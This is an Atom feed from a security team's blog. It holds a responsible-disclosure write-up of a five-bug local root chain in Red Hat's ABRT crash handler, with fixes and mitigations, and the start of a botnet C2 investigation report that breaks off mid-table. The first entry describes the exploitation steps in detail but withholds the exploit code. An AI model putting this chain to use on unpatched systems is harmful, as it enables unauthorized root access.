<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Telekom Security</title>
  <link href="https://github.security.telekom.com/atom.xml" rel="self"/>
  <link href="https://github.security.telekom.com/"/>
  <id>https://github.security.telekom.com/</id>
  <updated>2026-08-10T07:19:07+00:00</updated>
  <author>
    <name>Telekom Security</name>
  </author>

  
  <entry>
    <title>ABRTraryRoot: Local privilege escalation in Red Hat distributions</title>
    <link href="https://github.security.telekom.com/2026/08/ABRTraryRoot-local-privilege-escalation.html"/>
    <id>https://github.security.telekom.com/2026/08/ABRTraryRoot-local-privilege-escalation.html</id>
    <updated>2026-08-10T00:00:00+00:00</updated>
    <summary type="html">A chain of five bugs in ABRT allows any unprivileged local user to write attacker-controlled content into the root crontab, resulting in arbitrary command execution as root. We call the vulnerability chain “ABRTraryRoot” because it abuses ABRT’s crash handling pipeline to achieve arbitrary root code execution. The full chain requires no user interaction beyond triggering a crash and runs in under 90 seconds, with the majority of that time just waiting for crond to execute the planted payload. This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems (Pack2TheRoot and SetRootLanguage).</summary>
    <content type="html">&lt;p&gt;A chain of five bugs in ABRT allows any unprivileged local user to write attacker-controlled content into the root crontab, resulting in arbitrary command execution as root.
We call the vulnerability chain “ABRTraryRoot” because it abuses ABRT’s crash handling pipeline to achieve arbitrary root code execution. The full chain requires no user interaction beyond triggering a crash and runs in under 90 seconds, with the majority of that time just waiting for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; to execute the planted payload.
This blog post is a continuation of our previous research on local privilege escalation vulnerabilities in userland applications on Linux-based operating systems (&lt;a href=&quot;/2026/04/pack2theroot-linux-local-privilege-escalation.html&quot;&gt;Pack2TheRoot&lt;/a&gt; and &lt;a href=&quot;/2026/07/SetRootLanguage-ubuntu-privesc-setlanguage.html&quot;&gt;SetRootLanguage&lt;/a&gt;).
&lt;!--more--&gt;
The discovery is the result of targeted research into ABRT’s crash handling pipeline and its interaction with D-Bus APIs. The vulnerabilities were responsibly disclosed to Red Hat and assigned CVE IDs to them.
Red Hat has acknowledged the vulnerabilities and published updates for supported Fedora releases on 2026-08-03.&lt;/p&gt;

&lt;h3 id=&quot;affected-versions&quot;&gt;Affected versions, fixes and mitigations&lt;/h3&gt;

&lt;p&gt;The following lists the affected components and versions that were tested during the research. Other versions may be affected as well.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;Version&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;OS&lt;/td&gt;
      &lt;td&gt;Fedora 43/44&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ABRT&lt;/td&gt;
      &lt;td&gt;2.17.8-3.fc44&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;libreport&lt;/td&gt;
      &lt;td&gt;2.17.15-10.fc44&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SELinux&lt;/td&gt;
      &lt;td&gt;Enforcing&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The exploit was developed and confirmed on Fedora 44 using an unprivileged user. Red Hat Enterprise Linux is also affected, see the table below and Red Hat’s advisories for details.&lt;/p&gt;

&lt;h3 id=&quot;mitigation&quot;&gt;Fix and mitigation&lt;/h3&gt;

&lt;p&gt;Updates are available for supported Red Hat Enterprise Linux and Fedora releases (see table below). ABRT was deprecated in RHEL 8 and is no longer shipped in RHEL 9 or later.&lt;/p&gt;

&lt;h3 id=&quot;releases-overview&quot;&gt;Releases Overview&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Release&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Fedora 43&lt;/td&gt;
      &lt;td&gt;Fix available in &lt;a href=&quot;https://packages.fedoraproject.org/pkgs/abrt/abrt/fedora-43-updates.html&quot;&gt;2.17.9-1.fc43&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fedora 44&lt;/td&gt;
      &lt;td&gt;Fix available in &lt;a href=&quot;https://packages.fedoraproject.org/pkgs/abrt/abrt/fedora-44-updates.html&quot;&gt;2.17.9-1.fc44&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fedora Rawhide&lt;/td&gt;
      &lt;td&gt;Fix available in &lt;a href=&quot;https://packages.fedoraproject.org/pkgs/abrt/abrt/fedora-rawhide.html&quot;&gt;2.17.9-1.fc45&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Red Hat Enterprise Linux 6&lt;/td&gt;
      &lt;td&gt;Out of support scope&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Red Hat Enterprise Linux 7&lt;/td&gt;
      &lt;td&gt;Fixes available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Red Hat Enterprise Linux 8&lt;/td&gt;
      &lt;td&gt;Fixes available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Red Hat Enterprise Linux 9+&lt;/td&gt;
      &lt;td&gt;Not affected (ABRT not shipped)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;recent-activity&quot;&gt;Recent Activity&lt;/h3&gt;

&lt;p&gt;If you’re running ABRT and don’t strictly need it, the safest move is to turn it off:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl disable &lt;span class=&quot;nt&quot;&gt;--now&lt;/span&gt; abrtd.service abrt-journal-core.service abrt-oops.service abrt-xorg.service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On Fedora, consider switching to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd-coredump&lt;/code&gt; for crash handling. ABRT is being phased out in its favor anyway, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemd-coredump&lt;/code&gt; doesn’t suffer from the same architectural issues. If removing ABRT isn’t an option, restrict local access to affected systems, since the entire chain requires a local user account to exploit.&lt;/p&gt;

&lt;h2 id=&quot;crashing-into-privilege&quot;&gt;Crashing into privilege&lt;/h2&gt;

&lt;p&gt;During targeted local privilege escalation research, we turned our attention to &lt;a href=&quot;https://github.com/abrt/abrt&quot;&gt;ABRT&lt;/a&gt;, the Automatic Bug Reporting Tool that ships by default on Fedora. ABRT monitors for application crashes, collects diagnostic data, and files bug reports. Sounds harmless, right?&lt;/p&gt;

&lt;p&gt;What caught our eye was the architecture: when a crash occurs, ABRT spawns event handler shell scripts running as &lt;strong&gt;root&lt;/strong&gt; that process files in a dump directory. If an attacker could influence &lt;em&gt;what&lt;/em&gt; those scripts write and &lt;em&gt;where&lt;/em&gt; they write it… then it’s game over.&lt;/p&gt;

&lt;p&gt;So, it all started with a segfault. On purpose.&lt;/p&gt;

&lt;h3 id=&quot;understanding-the-crash-pipeline&quot;&gt;Understanding the crash pipeline&lt;/h3&gt;

&lt;p&gt;ABRT runs two system services as root. When an application crashes, ABRT picks up the crash dump and runs a series of shell scripts (as root) to collect system information (hardware details, log entries, etc.) and store them in a “dump directory”.&lt;/p&gt;

&lt;p&gt;The key insight: these root-owned shell scripts write files into the dump directory using plain shell redirections (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt;). And while they’re doing that, there are D-Bus APIs that let unprivileged users interact with the same directory.&lt;/p&gt;

&lt;p&gt;We thought: if we can redirect one of those root-owned shell scripts to write through a symlink pointing at the root crontab (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/spool/cron/root&lt;/code&gt;), we own the box. But getting there required chaining five separate bugs.&lt;/p&gt;

&lt;h3 id=&quot;bug-chain&quot;&gt;The Bug Chain&lt;/h3&gt;

&lt;p&gt;Five bugs. Individually, each one is a nuisance at best. Chained together, they hand you a root shell. Here’s how we pieced it together.&lt;/p&gt;

&lt;h4 id=&quot;sneaking-files-into-the-dump-directory-cve-2026-54228&quot;&gt;Sneaking files into the dump directory (CVE-2026-54228)&lt;/h4&gt;

&lt;p&gt;The first thing we noticed: between the moment ABRT creates a dump directory and the moment event scripts start processing it, there’s a window of several seconds where nothing is locked down. During that gap, any local user can call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SetElement&lt;/code&gt; over D-Bus to drop arbitrary files into the directory. The only check? That the crash “belongs” to you, which it does, because you triggered it.&lt;/p&gt;

&lt;p&gt;So now we can plant files in the dump directory before anyone else touches them. Interesting. Let’s see what we can do with that.&lt;/p&gt;

&lt;h4 id=&quot;faking-a-legitimate-crash&quot;&gt;Faking a legitimate crash&lt;/h4&gt;

&lt;p&gt;Here’s the first roadblock: ABRT validates whether the crashed binary belongs to an installed system package. Our custom crashing binary? Not a package. Crash report deleted. Chain over… unless we lie about it.&lt;/p&gt;

&lt;p&gt;Using that first bug, we race to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;component&lt;/code&gt; field to “coreutils” before validation kicks in. ABRT checks, sees a known package name, shrugs, and moves on. Our crash report survives.&lt;/p&gt;

&lt;h4 id=&quot;pulling-the-rug-mid-flight-cve-2026-54229&quot;&gt;Pulling the rug mid-flight (CVE-2026-54229)&lt;/h4&gt;

&lt;p&gt;This is the most surprising one. There’s a D-Bus method called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChownProblemDir&lt;/code&gt; that changes the ownership of a dump directory to the requesting user. Perfectly safe… except for one thing: due to a locking oversight, it succeeds &lt;strong&gt;even while event scripts are actively running inside that directory&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Think about what that means. Root-owned shell scripts are happily executing, writing files, doing their thing. Meanwhile, we just took ownership of the directory they’re working in. We can now delete files, create symlinks, do whatever we want and the root process keeps running, completely unaware that the ground shifted beneath it.&lt;/p&gt;

&lt;h4 id=&quot;following-the-symlink-to-roots-crontab-cve-2026-54230&quot;&gt;Following the symlink to root’s crontab (CVE-2026-54230)&lt;/h4&gt;

&lt;p&gt;ABRT’s internal C code is actually careful about symlinks as it refuses to follow them when writing files. But the event handler scripts? They’re shell scripts. They write output with plain old &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt; redirections. And shell redirections follow symlinks without a second thought.&lt;/p&gt;

&lt;p&gt;So after we take ownership of the dump directory, we delete one of the files the event script is about to write (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var_log_messages&lt;/code&gt;) and replace it with a symlink pointing at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/spool/cron/root&lt;/code&gt;. When the root shell process gets around to writing that file, it happily follows our symlink and dumps content straight into the root crontab.&lt;/p&gt;

&lt;p&gt;Now we just need to control &lt;em&gt;what&lt;/em&gt; gets written.&lt;/p&gt;

&lt;h4 id=&quot;poisoning-the-well-cve-2026-54231&quot;&gt;Poisoning the well (CVE-2026-54231)&lt;/h4&gt;

&lt;p&gt;The event script that writes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var_log_messages&lt;/code&gt; collects recent journal entries related to the crashed process. The journal. Which any user can write to.&lt;/p&gt;

&lt;p&gt;Before triggering the crash, we stuff the system journal with log messages containing an embedded cron job. The trick is a newline character inside the log message. It causes our payload to land on its own line in the output. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; is forgiving: it ignores lines it can’t parse and executes the ones it can.&lt;/p&gt;

&lt;p&gt;One minute later, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; picks up the new entry. A SUID root shell appears. Game over.&lt;/p&gt;

&lt;h3 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h3&gt;

&lt;p&gt;The full attack plays out in about 90 seconds — most of which is just waiting for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; to tick.&lt;/p&gt;

&lt;p&gt;First, we build a small binary that logs a cron payload into the system journal and then crashes itself. We run it a few times to seed the journal with our malicious entries. Then we trigger ABRT by crashing the binary one last time.&lt;/p&gt;

&lt;p&gt;The moment ABRT creates the dump directory, we race to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;component&lt;/code&gt; field to “coreutils” before validation runs. Once the crash survives that check, we call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ChownProblemDir&lt;/code&gt; to yank ownership away while the event scripts are still running. Now we own the directory. We delete &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var_log_messages&lt;/code&gt; and drop a symlink to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/spool/cron/root&lt;/code&gt; in its place.&lt;/p&gt;

&lt;p&gt;The root event script, still chugging along, writes our poisoned journal entries through the symlink and straight into the root crontab. Within a minute, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; executes our payload and creates a SUID root shell. Done.&lt;/p&gt;

&lt;p&gt;The actual race window is roughly 64ms wide. We win it reliably by flooding the journal beforehand — this slows down one of the event script’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;journalctl&lt;/code&gt; queries just enough to keep the window open.&lt;/p&gt;

&lt;h3 id=&quot;but-what-about-hardening&quot;&gt;But what about hardening?&lt;/h3&gt;

&lt;p&gt;Fedora has a solid stack of mitigations deployed. Surely one of them catches this? We checked. None of them do.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProtectSystem=full&lt;/code&gt; shields &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/boot&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt; — but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/spool/cron/&lt;/code&gt; sits outside that perimeter. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivateTmp=true&lt;/code&gt; isolates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;, which doesn’t matter because we’re writing to the cron spool, not tmp. SELinux is enforcing, but the event script’s domain is effectively unconfined and happily writes to the cron spool. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NoNewPrivileges=yes&lt;/code&gt; prevents ABRT’s own children from gaining privileges through SUID — but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crond&lt;/code&gt; is a completely separate service that creates our SUID binary independently.&lt;/p&gt;

&lt;p&gt;Every mitigation covers a different surface. None of them overlap on the path we’re taking. Defense in depth is effective only when the individual layers address the same attack paths — here, each layer guards a different perimeter, leaving this one uncovered.&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof-of-Concept&lt;/h3&gt;

&lt;p&gt;The exploit consists of a Python script that orchestrates the full chain and a small C helper binary that injects the cron payload into the system journal before crashing. The full chain executes in under 90 seconds (mostly waiting for crond’s one-minute tick) and produces a SUID root shell. The PoC code is not being shared publicly at this time.
However, the following screenshot shows the final result: a SUID root shell created by our cron payload, which was written into the root crontab by the ABRT event scripts.
&lt;img src=&quot;/assets/images/ABRTraryRoot/ABRTraryRoot.png&quot; alt=&quot;ABRTraryRoot PoC&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;advisories&quot;&gt;Advisories&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/cve-2026-54228&quot;&gt;CVE-2026-54228&lt;/a&gt;: TOCTOU race condition in abrt-dbus SetElement allows arbitrary file writes to dump directories&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/cve-2026-54229&quot;&gt;CVE-2026-54229&lt;/a&gt;: ChownProblemDir succeeds during active post-create event processing due to inadequate locking&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/cve-2026-54230&quot;&gt;CVE-2026-54230&lt;/a&gt;: Event handler scripts follow symlinks when writing output files, allowing arbitrary file overwrites&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/cve-2026-54231&quot;&gt;CVE-2026-54231&lt;/a&gt;: Unsanitized systemd journal content written to dump directory files enables content injection&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;p&gt;The vulnerability chain was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems, assisted by Claude Code with model Opus 4.6.&lt;/p&gt;

&lt;p&gt;If you have questions regarding this research or are interested in our &lt;a href=&quot;https://geschaeftskunden.telekom.de/business/loesungen/digitalisierung/cyber-security&quot;&gt;security offerings&lt;/a&gt;, including Red Team assessments, feel free to contact &lt;span class=&quot;obf&quot; data-obf=&quot;Y21Wa2RHVmhiVUIwWld4bGEyOXRMbVJs&quot;&gt;[loading (JS)…]&lt;/span&gt;.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;2026-05-04: Initial vulnerability report to Red Hat Security Team.&lt;/li&gt;
  &lt;li&gt;2026-05-06: Acknowledgment of receipt and initial triage.&lt;/li&gt;
  &lt;li&gt;2026-06-12: Red Hat confirms the vulnerabilities and publishes CVE IDs.&lt;/li&gt;
  &lt;li&gt;2026-06-15: Requested patch status update from Red Hat. Red Hat referred to the publicly available Bugzilla reports.&lt;/li&gt;
  &lt;li&gt;2026-08-03: Red Hat publishes updates for Fedora&lt;/li&gt;
  &lt;li&gt;2026-08-10: Publication of this blog post.&lt;/li&gt;
&lt;/ul&gt;

&lt;style&gt;
.content {
    display: block;
    text-align: justify;
}

.img-small {
  width: 80%;
  max-width: 100%;
  height: auto;
}

table {
  width: 100%;
  border-collapse: collapse;
  margin: 1.5em 0;
  font-size: 0.95em;
}

th, td {
  padding: 0.6em 1em;
  text-align: left;
  border-bottom: 1px solid #e0e0e0;
}

th {
  background: #f5f5f5;
  font-weight: 600;
  border-bottom: 2px solid #ccc;
}

tr:hover {
  background: #fafafa;
}
&lt;/style&gt;

&lt;script&gt;
document.addEventListener(&quot;DOMContentLoaded&quot;, () =&gt; {
  setTimeout(() =&gt; {
    document.querySelectorAll(&quot;.obf&quot;).forEach(el =&gt; {
      const encoded = el.dataset.obf;
      try {
        const decoded = atob(atob(encoded));
        el.textContent = decoded;
      } catch (e) {
        el.textContent = &quot;unknown&quot;;
      }
    });
  }, 1500);
});
&lt;/script&gt;

</content>
  </entry>
  
  <entry>
    <title>From Infected Zyxel to Exposed C2: A Case Study in IoT Botnet Operations</title>
    <link href="https://github.security.telekom.com/2026/07/from-infected-zyxel-to-exposed-c2.html"/>
    <id>https://github.security.telekom.com/2026/07/from-infected-zyxel-to-exposed-c2.html</id>
    <updated>2026-07-29T00:00:00+00:00</updated>
    <summary type="html">This report documents the identification of previously concealed operational infrastructure, including an exposed operator working directory and command-and-control (C2) environment, following the investigation of low-volume authentication activity and a customer-authorized forensic analysis of a compromised Zyxel device.</summary>
    <content type="html">&lt;p&gt;This report documents the identification of previously concealed operational infrastructure, including an exposed operator working directory and command-and-control (C2) environment, following the investigation of low-volume authentication activity and a customer-authorized forensic analysis of a compromised Zyxel device. &lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;An evidence-first analysis of an exposed operator working directory and C2 environment&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;executive-summary&quot;&gt;Executive Summary&lt;/h2&gt;

&lt;p&gt;This investigation demonstrates how low-volume identity telemetry can expose otherwise concealed activity involving compromised embedded devices and backend infrastructure. What began as a focused authentication hunt provided visibility into an operation that used compromised devices for access, staging, proxying, tasking, and scanning.&lt;/p&gt;

&lt;p&gt;Forensic analysis of the customer-provided Zyxel device identified two likely independent unauthorized activity clusters: a lightweight SOCKS proxy foothold and a broader proxy and C2 ecosystem. Continued monitoring of the second cluster led to exposed backend directories containing artifacts that correlated with observations from the compromised device. Device-side evidence, including process trees, web-authentication logs, staged payloads, memory artifacts, and scanner execution traces, provided the runtime context needed to link observed activity to the operator infrastructure.&lt;/p&gt;

&lt;p&gt;Analysis of the exposed backend server supported the device-side findings and indicated an active operator workspace rather than a standalone malware repository or release package. The recovered environment included C2 components, SQLite state, task results, payload-generation logic, staging services, scanner tooling, callback utilities, and VS Code Remote traces.&lt;/p&gt;

&lt;p&gt;Our key findings are operational rather than attributional. The evidence supports a persistent backend environment linked to observed device compromise and indicates that infected devices were used beyond basic proxy access. We therefore focus on the operational links we can support: device compromise, backend infrastructure, tasking, scanning, and proxy-capable runtime deployment.&lt;/p&gt;

&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#1-from-low-volume-auth-activity-to-device-access&quot;&gt;1. From Low-Volume Auth Activity to Device Access&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#2-compromised-zyxel-device-analysis&quot;&gt;2. Compromised Zyxel Device Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#3-the-infrastructure-shift&quot;&gt;3. The Infrastructure Shift&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#4-what-was-exposed&quot;&gt;4. What Was Exposed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#5-shell-history-how-the-exposed-host-was-operated&quot;&gt;5. Shell History: How the Exposed Host Was Operated&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#6-reconstructing-the-operator-workflow&quot;&gt;6. Reconstructing the Operator Workflow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#7-analytical-limits-and-open-questions&quot;&gt;7. Analytical Limits and Open Questions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#8-conclusion&quot;&gt;8. Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#9-infrastructure-and-ioc-notes&quot;&gt;9. Infrastructure and IOC Notes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;1-from-low-volume-auth-activity-to-device-access&quot;&gt;1. From Low-Volume Auth Activity to Device Access&lt;/h2&gt;

&lt;p&gt;During routine threat hunting for suspicious authentication activity, we identified a limited set of structured Entra ID sign-in attempts targeting Azure PowerShell. Individually, these attempts appeared low-risk. When analyzed collectively, however, they exhibited a consistent pattern:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;narrow activity window&lt;/li&gt;
  &lt;li&gt;repetitive request structure&lt;/li&gt;
  &lt;li&gt;use of an Internet Explorer 11 user agent&lt;/li&gt;
  &lt;li&gt;low login-attempt volume&lt;/li&gt;
  &lt;li&gt;focused targeting&lt;/li&gt;
  &lt;li&gt;no successful sign-ins because MFA was enabled&lt;/li&gt;
  &lt;li&gt;activity occurring during normal business hours in UTC+8&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These characteristics were consistent with Quad7-style authentication activity described in &lt;a href=&quot;https://attack.mitre.org/campaigns/C0055/&quot;&gt;MITRE ATT&amp;amp;CK C0055&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The indicator set suggested coordinated activity rather than opportunistic scanning. We used the observed authentication activity as a pivot and shared selected Entra source IPs with a trusted information-sharing group. Additional sources operating in separate environments reported similar observations, providing sufficient confidence to compare identity-side telemetry with infrastructure-side pivots. During this collaboration, a C2 indicator was shared and used as a pivot for NetFlow analysis to identify connected infrastructure.&lt;/p&gt;

&lt;p&gt;We correlated two datasets to assess infrastructure overlap and determine whether the authentication activity aligned with observed C2 communications: Entra authentication source IPs and NetFlow telemetry associated with the C2 indicator. While the datasets shared notable similarities, they were not fully consistent and required further analysis.&lt;/p&gt;

&lt;p&gt;The differences between the two telemetry perspectives are summarized below:&lt;/p&gt;

&lt;div style=&quot;display: flex; gap: 1.25rem; align-items: flex-start; flex-wrap: wrap; margin: 1.5rem 0;&quot;&gt;
  &lt;div style=&quot;flex: 1 1 340px; min-width: 0; overflow-x: auto;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 0.5rem; font-weight: 600;&quot;&gt;Entra source-IP view&lt;/p&gt;

    &lt;table&gt;
      &lt;thead&gt;
        &lt;tr&gt;
          &lt;th&gt;Entra source-IP device fingerprint&lt;/th&gt;
          &lt;th&gt;Distribution&lt;/th&gt;
        &lt;/tr&gt;
      &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG40&lt;/td&gt;
          &lt;td&gt;22%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG60&lt;/td&gt;
          &lt;td&gt;17%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG20&lt;/td&gt;
          &lt;td&gt;12%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel ZyNOS other&lt;/td&gt;
          &lt;td&gt;8%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG20W&lt;/td&gt;
          &lt;td&gt;8%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG310&lt;/td&gt;
          &lt;td&gt;5%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel NSG50&lt;/td&gt;
          &lt;td&gt;5%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG110&lt;/td&gt;
          &lt;td&gt;4%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG40W&lt;/td&gt;
          &lt;td&gt;3%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel NSG100&lt;/td&gt;
          &lt;td&gt;3%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG210&lt;/td&gt;
          &lt;td&gt;2%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG60W&lt;/td&gt;
          &lt;td&gt;2%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel NSG300&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;unknown&lt;/td&gt;
          &lt;td&gt;9%&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;

  &lt;/div&gt;
  &lt;div style=&quot;flex: 1 1 340px; min-width: 0; overflow-x: auto;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 0.5rem; font-weight: 600;&quot;&gt;C2 / NetFlow view&lt;/p&gt;

    &lt;table&gt;
      &lt;thead&gt;
        &lt;tr&gt;
          &lt;th&gt;C2 / NetFlow device fingerprint&lt;/th&gt;
          &lt;th&gt;Distribution&lt;/th&gt;
        &lt;/tr&gt;
      &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
          &lt;td&gt;D-Link DIR-600&lt;/td&gt;
          &lt;td&gt;16%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG20W&lt;/td&gt;
          &lt;td&gt;13%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG20&lt;/td&gt;
          &lt;td&gt;11%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel Unknown&lt;/td&gt;
          &lt;td&gt;10%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG60&lt;/td&gt;
          &lt;td&gt;8%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG40&lt;/td&gt;
          &lt;td&gt;6%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG210&lt;/td&gt;
          &lt;td&gt;5%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel ZyNOS other&lt;/td&gt;
          &lt;td&gt;3%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;D-Link DIR-100&lt;/td&gt;
          &lt;td&gt;2%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;Zyxel USG110&lt;/td&gt;
          &lt;td&gt;1%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
